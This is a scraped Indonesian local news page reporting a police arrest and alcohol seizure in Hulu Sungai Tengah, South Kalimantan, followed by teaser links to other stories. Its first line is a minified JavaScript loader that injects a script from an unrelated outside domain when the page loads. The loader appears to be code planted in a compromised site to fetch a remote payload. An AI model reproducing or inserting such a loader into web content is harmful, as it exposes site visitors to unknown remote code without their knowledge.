(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Polres Hulu Sungai Tengah menggelar konfrensi pers atas keberhasilan Tim URC Polres HST dalam pemberantasan Miras (alkohol) di lobi Polres HST, Kamis (26/7), dipimpin Kapolres Hulu Sungai Tengah AKBP Sabana Atmojo SIK MH.
Polres HST mengamankan tersangka MR (36) warga jalan Ulama RT 007 RW 003 Desa Birayang, Kecaatan Batang Alai Selatan, Rabu (25 /7) sekitar pukul 11.00 Wita
Dari tangan MR, polisi berhasil megmankan barang bukti 4 dus alkohol -100 botol-, 10 dus alkohol -24 botol-, 110 botol alkohol kecil.
“Kami juga mengamankan uang pecahan senilai Rp 70 ribu dan pecahan ratusan senilai Rp 4.100.000, diduga hasil dari penjualan alkohol,†ungkap Kapolres.
Tim URC Polres HST melakukan operasi untuk cipta kondisi dan patroli antisipasi kejahatan jalanan, seperti jambret, begal, curanmor dan miras. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.